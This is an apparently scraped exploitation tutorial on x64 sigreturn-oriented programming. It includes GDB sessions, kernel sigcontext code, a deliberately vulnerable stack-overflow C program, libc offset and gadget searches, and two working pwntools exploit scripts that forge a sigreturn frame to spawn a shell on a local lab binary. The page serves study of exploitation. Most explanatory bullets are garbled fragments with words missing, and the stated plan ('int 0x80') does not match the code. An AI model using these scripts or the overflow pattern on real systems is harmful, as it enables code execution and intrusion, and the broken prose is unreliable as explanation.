02.SROP(Sigreturn-oriented programming) - x64

Unknown macro: 'html'

Excuse the ads! We need some help to keep our site up. Unknown macro: 'html'

List

- SROP(Sigreturn-oriented programming)
- Signal & Signal handler
  - Example code
  - Debugging
  - sigreturn()
- Proof of concept
  - Example code
  - Overflow
- Exploit method
  - Libc offset
  - Find Gadgets
  - Find Gadgets - (syscall & return)
  - CS(Code segment) & SS(Stack Segment)
- Exploit code
- Related site
- Comments

SROP(Sigreturn-oriented programming)

- **SROP sigreturn .**
  - .

Signal & Signal handler

- **x86 x64 Signal & Signal handler .**
  - 01.SROP(Sigreturn-oriented programming) - x86#01.SROP(Sigreturn-orientedprogramming)-x86-Signal
  - 01.SROP(Sigreturn-oriented programming) - x86#01.SROP(Sigreturn-orientedprogramming)-x86-Signalhandler

Example code

sig.c

```
//gcc -g -o sig64 sig.c
#include <stdio.h>
#include <signal.h>

struct sigcontext sigcontext;

void handle_signal(int signum){
        printf("Signal number: %d\n", signum);
}

int main(){
        signal(SIGINT, (void *)handle_signal);
        while(1) {}
        return 0;
}
```

Debugging

- **handle_signal Break point .**
- **GDB .**

Break points

```
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./sig64
Reading symbols from ./sig64...done.
gdb-peda$ b handle_signal
Breakpoint 1 at 0x400571: file sig.c, line 8.
gdb-peda$ handle SIGINT nostop pass
Signal        Stop        Print        Pass to program        Description
SIGINT        No        Yes        Yes                Interrupt
gdb-peda$
```

- **"Ctrl + C" Interrupt .**
  - bt handle_signal .

Prevent GDB from intercepting signals

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/SROP/sig64
^C
Program received signal SIGINT, Interrupt.
Breakpoint 1, handle_signal (signum=0x2) at sig.c:8
8               printf("Signal number: %d\n", signum);
gdb-peda$ bt
#0  handle_signal (signum=0x2) at sig.c:8
#1  <signal handler called>
#2  main () at sig.c:13
#3  0x00007ffff7a2d830 in __libc_start_main (main=0x400588 <main>, argc=0x1,
    argv=0x7fffffffe588, init=<optimized out>, fini=<optimized out>,
    rtld_fini=<optimized out>, stack_end=0x7fffffffe578) at ../csu/libc-start.c:291
#4  0x0000000000400499 in _start ()
gdb-peda$
```

- **0 Frame Stack .**

Frame 0

```
gdb-peda$ frame 0
#0  handle_signal (signum=0x2) at sig.c:8
8               printf("Signal number: %d\n", signum);
gdb-peda$ p ((struct sigcontext *)($rbp + 7 * 8))->rax
$1 = 0x0
gdb-peda$ p ((struct sigcontext *)($rbp + 7 * 8))->rsp
$2 = 0x7fffffffe4a0
gdb-peda$ p ((struct sigcontext *)($rbp + 7 * 8))->rip
$3 = 0x40059b
gdb-peda$
```

- **1 Frame __restore_rt() rt_sigreturn() .**
  - x64 sigreturn 0xf(15) .

Frame 1

```
gdb-peda$ frame 1
#1  <signal handler called>
gdb-peda$ x/2i $rip
=> 0x7ffff7a424b0 <__restore_rt>:        mov    rax,0xf
   0x7ffff7a424b7 <__restore_rt+7>:        syscall
gdb-peda$
```

- **signal Frame 0 Stack .**

register information

```
gdb-peda$ b 13
Breakpoint 2 at 0x40059b: file sig.c, line 13.
gdb-peda$ c
Continuing.
Signal number: 2
Breakpoint 2, main () at sig.c:13
13                while(1) {}
gdb-peda$ i r
rax            0x0        0x0
rbx            0x0        0x0
rcx            0x0        0x0
rdx            0x0        0x0
rsi            0x2f2f2f2f2f2f2f2f        0x2f2f2f2f2f2f2f2f
rdi            0x2        0x2
rbp            0x7fffffffe4a0        0x7fffffffe4a0
rsp            0x7fffffffe4a0        0x7fffffffe4a0
r8             0x7fffffffe3f0        0x7fffffffe3f0
r9             0x0        0x0
r10            0x8        0x8
r11            0x206        0x206
r12            0x400470        0x400470
r13            0x7fffffffe580        0x7fffffffe580
r14            0x0        0x0
r15            0x0        0x0
rip            0x40059b        0x40059b <main+19>
eflags         0x202        [ IF ]
cs             0x33        0x33
ss             0x2b        0x2b
ds             0x0        0x0
es             0x0        0x0
fs             0x0        0x0
gs             0x0        0x0
gdb-peda$
```

sigreturn()

- **sigreturn() Signal Kernel Mode User Mode stack .**
  - sigreturn() stack restore_sigcontext() .

https://elixir.bootlin.com/linux/latest/source/arch/x86/kernel/signal.c#L636

```
asmlinkage long sys_rt_sigreturn(void){
        struct pt_regs *regs = current_pt_regs();
        struct rt_sigframe __user *frame;
...
        if (restore_sigcontext(regs, &frame->uc.uc_mcontext, uc_flags))
                goto badframe;
...
}
```

- **restore_sigcontext() COPY_SEG(), COPY() stack .**
  - , ROP Gadget sigreturn() .

https://elixir.bootlin.com/linux/latest/source/arch/x86/kernel/signal.c#L96

```
static int restore_sigcontext(struct pt_regs *regs, struct sigcontext __user *sc, unsigned long uc_flags){
...
#ifdef CONFIG_X86_64
                COPY(r8);
                COPY(r9);
                COPY(r10);
                COPY(r11);
                COPY(r12);
                COPY(r13);
                COPY(r14);
                COPY(r15);
#endif /* CONFIG_X86_64 */

                COPY_SEG_CPL3(cs);
                COPY_SEG_CPL3(ss);

#ifdef CONFIG_X86_64
                /*
                 * Fix up SS if needed for the benefit of old DOSEMU and
                 * CRIU.
                 */
                if (unlikely(!(uc_flags & UC_STRICT_RESTORE_SS) &&
                             user_64bit_mode(regs)))
                        force_valid_ss(regs);
#endif
...
}
```

- **x64 stack restore_sigcontext() &frame->uc.uc_mcontext .**

https://elixir.bootlin.com/linux/latest/source/arch/x86/include/asm/sigframe.h#L81

```
struct rt_sigframe_x32 {
        u64 pretcode;
        struct ucontext_x32 uc;
        compat_siginfo_t info;
        /* fp state follows here */
};
```

https://elixir.bootlin.com/linux/latest/source/arch/x86/include/asm/sigframe.h#L72

```
struct ucontext_x32 {
        unsigned int          uc_flags;
        unsigned int           uc_link;
        compat_stack_t          uc_stack;
        unsigned int          uc__pad0;     /* needed for alignment */
        struct sigcontext uc_mcontext;  /* the 64-bit sigcontext type */
        compat_sigset_t          uc_sigmask;        /* mask last for extensibility */
};
```

- **x64 , sigcontext .**

https://elixir.bootlin.com/linux/latest/source/arch/x86/include/uapi/asm/sigcontext.h#L325

```
# else /* __x86_64__: */
struct sigcontext {
        __u64                                   r8;
        __u64                                   r9;
        __u64                                   r10;
        __u64                                   r11;
        __u64                                   r12;
        __u64                                   r13;
        __u64                                   r14;
        __u64                                   r15;
        __u64                                   rdi;
        __u64                                   rsi;
        __u64                                   rbp;
        __u64                                   rbx;
        __u64                                   rdx;
        __u64                                   rax;
        __u64                                   rcx;
        __u64                                   rsp;
        __u64                                   rip;
        __u64                                   eflags;                 /* RFLAGS */
        __u16                                   cs;
        __u16                                   gs;
        __u16                                   fs;
        union {
                __u16                           ss;         /* If UC_SIGCONTEXT_SS */
                __u16                           __pad0;         /* Alias name for old (!UC_SIGCONTEXT_SS) user-
space */
        };
        __u64                                   err;
        __u64                                   trapno;
        __u64                                   oldmask;
        __u64                                   cr2;
        struct _fpstate __user                  *fpstate;         /* Zero when no FPU context */
#  ifdef __ILP32__
        __u32                                   __fpstate_pad;
#  endif
        __u64                                   reserved1[8];
};
```

Proof of concept

Example code

srop64.c

```
//gcc -fno-stack-protector -o srop64 srop64.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 512);
}

void main(){
    seteuid(getuid());
    write(1,"Hello SROP\n",10);
    vuln();
}
```

Overflow

- **Breakpoints .**
  - 0x400756: vuln
  - 0x40079a: read()

Breakpoints

```
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./srop64
Reading symbols from ./srop64...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0000000000400756 <+0>:        push   rbp
   0x0000000000400757 <+1>:        mov    rbp,rsp
   0x000000000040075a <+4>:        sub    rsp,0x40
   0x000000000040075e <+8>:        mov    esi,0x400864
   0x0000000000400763 <+13>:        mov    rdi,0xffffffffffffffff
   0x000000000040076a <+20>:        call   0x400630 <dlsym@plt>
   0x000000000040076f <+25>:        mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400773 <+29>:        mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400777 <+33>:        mov    rsi,rax
   0x000000000040077a <+36>:        mov    edi,0x40086b
   0x000000000040077f <+41>:        mov    eax,0x0
   0x0000000000400784 <+46>:        call   0x400600 <printf@plt>
   0x0000000000400789 <+51>:        lea    rax,[rbp-0x40]
   0x000000000040078d <+55>:        mov    edx,0x200
   0x0000000000400792 <+60>:        mov    rsi,rax
   0x0000000000400795 <+63>:        mov    edi,0x0
   0x000000000040079a <+68>:        call   0x400610 <read@plt>
   0x000000000040079f <+73>:        nop
   0x00000000004007a0 <+74>:        leave
   0x00000000004007a1 <+75>:        ret
End of assembler dump.
gdb-peda$ b *0x0000000000400756
Breakpoint 1 at 0x400756
gdb-peda$ b *0x000000000040079a
Breakpoint 2 at 0x40079a
gdb-peda$
```

- **Overflow .**
  - Return address(0x7fffffffe498) - buf (0x7fffffffe450) = 72
  - , 72 Return address .

Check overflow

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/SROP/srop64
Hello SROP

Breakpoint 1, 0x0000000000400756 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe498        0x7fffffffe498
gdb-peda$ x/gx 0x7fffffffe498
0x7fffffffe498:        0x00000000004007d0
gdb-peda$ x/i 0x00000000004007d0
   0x4007d0 <main+46>:        nop
gdb-peda$ c
Continuing.
Printf() address : 0x7ffff785e800

Breakpoint 2, 0x000000000040079a in vuln ()
gdb-peda$ i r rsi
rsi            0x7fffffffe450        0x7fffffffe450
gdb-peda$ p/d 0x7fffffffe498 - 0x7fffffffe450
$1 = 72
gdb-peda$
```

Exploit method

- SROP Exploit .

Exploit

1. sigreturn()
    a. RSP : sigreturn() ("int 0x80")
    b. RDI : "/bin/sh"
    c. RAX : execve()
    d. RIP : "int 0x80"
    e. CS : User Code(0x33)
    f. SS : User Data / Stack(0x2b)
2. int 0x80

- .

ROP code

```
sigreturn()
int 0x80
```

- payload .

- Libc offset
    - printf
    - "pop rax; ret"
    - "syscall"
    - "/bin/sh"
- Gadgets
    - int 0x80

Libc offset

- **offset .**
  - libc offset : printf(0x7ffff785e800) - libc base(0x7ffff7809000) = 0x55800
  - "/bin/sh" offset : "/bin/sh" address(0x7ffff7995d57) - libc base(0x7ffff7809000) = 0x18cd57

Offset

```
gdb-peda$ vmmap
Start              End                Perm        Name
...
0x00007ffff7809000 0x00007ffff79c9000 r-xp        /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff79c9000 0x00007ffff7bc9000 ---p        /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bc9000 0x00007ffff7bcd000 r--p        /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7bcf000 rw-p        /lib/x86_64-linux-gnu/libc-2.23.so
...
gdb-peda$ p printf
$2 = {<text variable, no debug info>} 0x7ffff785e800 <__printf>
gdb-peda$ p/x 0x7ffff785e800 - 0x00007ffff7809000
$3 = 0x55800

gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7995d57 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ p/x 0x7ffff7995d57 - 0x00007ffff7809000
$4 = 0x18cd57
gdb-peda$
```

Find Gadgets

- **libc .**
  - Exploit code "pop rax ; ret" Gadget 0x33544 .

./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1 | grep "pop rax"

```
lazenca0x0@ubuntu:~/Exploit/SROP$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1 | grep "pop rax"
0x00074c47: pop rax ; call qword [r12+0x30] ;  (1 found)
0x000743ff: pop rax ; call qword [r13+0x30] ;  (1 found)
0x00184d32: pop rax ; call qword [rdi+0x4656EE7E] ;  (1 found)
0x00135a34: pop rax ; call rax ;  (1 found)
0x00135876: pop rax ; jmp rcx ;  (1 found)
0x00033544: pop rax ; ret  ;  (1 found)
0x0003a727: pop rax ; ret  ;  (1 found)
0x0003a728: pop rax ; ret  ;  (1 found)
0x0003a7f7: pop rax ; ret  ;  (1 found)
0x0003a7f8: pop rax ; ret  ;  (1 found)
0x0003a8a0: pop rax ; ret  ;  (1 found)
0x0003a8a1: pop rax ; ret  ;  (1 found)
0x000abc07: pop rax ; ret  ;  (1 found)
0x00106272: pop rax ; ret  ;  (1 found)
0x00106273: pop rax ; ret  ;  (1 found)
0x001a1448: pop rax ; ret  ;  (1 found)
0x000caabc: pop rax ; retn 0x002F ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/SROP$
```

- Exploit code "syscall ; ret" Gadget 0xbc375 .

./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1 | grep "syscall ; ret"

```
lazenca0x0@ubuntu:~/Exploit/SROP$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 1 | grep "syscall  ;
ret"
0x000bc375: syscall  ; ret  ;  (1 found)
0x000cd235: syscall  ; ret  ;  (1 found)
0x000cd245: syscall  ; ret  ;  (1 found)
0x000cd255: syscall  ; ret  ;  (1 found)
0x000cd265: syscall  ; ret  ;  (1 found)
0x000cd275: syscall  ; ret  ;  (1 found)
0x000cd485: syscall  ; ret  ;  (1 found)
0x000f6ed5: syscall  ; ret  ;  (1 found)
0x001077f5: syscall  ; ret  ;  (1 found)
0x00122198: syscall  ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/SROP$
```

Find Gadgets - (syscall & return)

- **Memory Map Gadgets .**

list of gadgets for different systems

OS	ASLR	Gadget	Memory Map	Fixed Memory Location
Linux i386	✓	sigreturn	[vdso]	
Linux x86-64	✓	sigreturn	Libc	
Linux < 3.3 x86-64	✗	syscall & return	[vsyscall]	0xffffffffff600000
Linux 3.3 x86-64	✓	syscall & return	Libc	
FreeBSD 9.2 x86-64	✗	sigreturn		0x7fffffff000
Mac OSX x86-64	✓	sigreturn	Libc	
iOS ARM	✓	sigreturn	Libsystem	
iOS ARM	✓	syscall & return	Libsystem	
Linux < 3.11 ARM	✗	sigreturn	[vectors]	0xffff0000

- **x64 3.3 vsyscall "syscall & return" .**

vsyscall

```
lazenca0x0@ubuntu:~/Exploit/SROP$ readelf --notes ./srop64

Displaying notes found at file offset 0x00000254 with length 0x00000020:
  Owner                Data size        Description
  GNU                  0x00000010       NT_GNU_ABI_TAG (ABI version tag)
    OS: Linux, ABI: 2.6.32

Displaying notes found at file offset 0x00000274 with length 0x00000024:
  Owner                Data size        Description
  GNU                  0x00000014       NT_GNU_BUILD_ID (unique build ID bitstring)
    Build ID: 8bc6a6d7b9f016893a86290ec9ed1b41769e9cfc
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./srop64
gdb-peda$ b *0x0000000000400756
Breakpoint 1 at 0x400756
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/SROP/srop64
Hello SROP
Breakpoint 1, 0x0000000000400756 in vuln ()
gdb-peda$ vmmap
Start              End                Perm        Name
...
0x00007ffffffde000 0x00007fffffff000 rw-p        [stack]
0xffffffffff600000 0xffffffffff601000 r-xp       [vsyscall]
gdb-peda$ x/3i 0xffffffffff600000
   0xffffffffff600000:        mov    rax,0x60
   0xffffffffff600007:        syscall
   0xffffffffff600009:        ret
gdb-peda$
```

- **Gadget Error .**
  - Kernel Boot option "vsyscall" "emulate" .
  - Native .

Check vsyscall options

```
lazenca0x0@ubuntu:~/Exploit/SROP$ cat /usr/src/linux-headers-$(uname -r)/.config | grep VSYSCALL
CONFIG_GENERIC_TIME_VSYSCALL=y
CONFIG_X86_VSYSCALL_EMULATION=y
# CONFIG_LEGACY_VSYSCALL_NATIVE is not set
CONFIG_LEGACY_VSYSCALL_EMULATE=y
# CONFIG_LEGACY_VSYSCALL_NONE is not set
lazenca0x0@ubuntu:~/Exploit/SROP$
```

CS(Code segment) & SS(Stack Segment)

- **x64 Kernel Code, User Code x86 .**

Segment

Purpose	Segment
Kernel Code	0x10
Kernel Data / Stack	0x18
User Code	0x33
User Data / Stack	0x2b

- https://elixir.bootlin.com/linux/v4.17-rc6/source/arch/x86/include/asm/segment.h#L203

Exploit code

- **Exploit code .**

srop64.py

```
from pwn import *

binary = ELF('./srop64')
p = process(binary.path)

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

libcBase = stackAddr - 0x55800
syscall = libcBase + 0xbc375
#syscall = 0xfffffffff600007
binsh = libcBase + 0x18cd57
poprax = libcBase + 0x33544

print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of poprax gadget    : ' + hex(poprax)

exploit = ''
exploit += "\x90" * 72
exploit += p64(poprax)
exploit += p64(0xf)
exploit += p64(syscall)

#ucontext
exploit += p64(0x0) * 5

#sigcontext
exploit += p64(0x0)                #R8
exploit += p64(0x0)                #R9
exploit += p64(0x0)                #R10
exploit += p64(0x0)                #R11
exploit += p64(0x0)                #R12
exploit += p64(0x0)                #R13
exploit += p64(0x0)                #R14
exploit += p64(0x0)                #R15

exploit += p64(binsh)         #RDI
exploit += p64(0x0)                #RSI
exploit += p64(0x0)                #RBP
exploit += p64(0x0)                #RBX
exploit += p64(0x0)                #RDX
exploit += p64(0x3b)         #RAX
exploit += p64(0x0)                #RCX
exploit += p64(syscall)         #RSP
exploit += p64(syscall)         #RIP
exploit += p64(0x0)                #eflags
exploit += p64(0x33)         #cs
exploit += p64(0x0)                #gs
exploit += p64(0x0)                #fs
exploit += p64(0x2b)         #ss

p.send(exploit)
p.interactive()
```

Get shell

```
lazenca0x0@ubuntu:~/Exploit$ python srop64.py
[*] '/home/lazenca0x0/Exploit/SROP/srop64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/lazenca0x0/Exploit/SROP/srop64': pid 17771
The base address of Libc    : 0x7f9cb1ae2000
Address of syscall gadget   : 0x7f9cb1b9d945
Address of string "/bin/sh" : 0x7f9cb1c6e58b
Address of poprax gadget    : 0x7f9cb1b1c718
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

- pwntools .

srop64-pwn.py

```
from pwn import *

context.arch = "amd64"

binary = ELF('./srop64')
p = process(binary.path)

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

libcBase = stackAddr - 0x55800
syscall = libcBase + 0xbc375
binsh = libcBase + 0x18cd57
poprax = libcBase + 0x33544

print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of poprax gadget    : ' + hex(poprax)

exploit = ''
exploit += "\x90" * 72
exploit += p64(poprax)
exploit += p64(0xf)
exploit += p64(syscall)

frame = SigreturnFrame(arch="amd64")
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsp = syscall
frame.rip = syscall

exploit += str(frame)

p.send(exploit)
p.interactive()
```

Get shell

```
lazenca0x0@ubuntu:~/Exploit/SROP$ python srop64-pwn.py
[*] '/home/lazenca0x0/Exploit/srop64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/lazenca0x0/Exploit/SROP/srop64': pid 17757
The base address of Libc    : 0x7f36d0719000
Address of syscall gadget   : 0x7f36d07d4945
Address of string "/bin/sh" : 0x7f36d08a558b
Address of poprax gadget    : 0x7f36d0753718
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

Related site

- http://egloos.zum.com/studyfoss/v/5182475
- http://docs.pwntools.com/en/stable/rop/srop.html
- http://www.freebuf.com/articles/network/87447.html
- http://blog.leanote.com/post/3191220142@qq.com/SROP
- http://blackbunny.io/x64-sigreturn-oriented-programming/
- https://en.wikipedia.org/wiki/Sigreturn-oriented_programming
- https://books.google.co.jp/books?id=h0lltXyJ8aIC&dq=setup_frame&hl=ko&source=gbs_navlinks_s
- https://thisissecurity.stormshield.com/2015/01/03/playing-with-signals-an-overview-on-sigreturn-oriented-programming/

Comments

Unknown macro: 'html'

Unknown macro: 'html'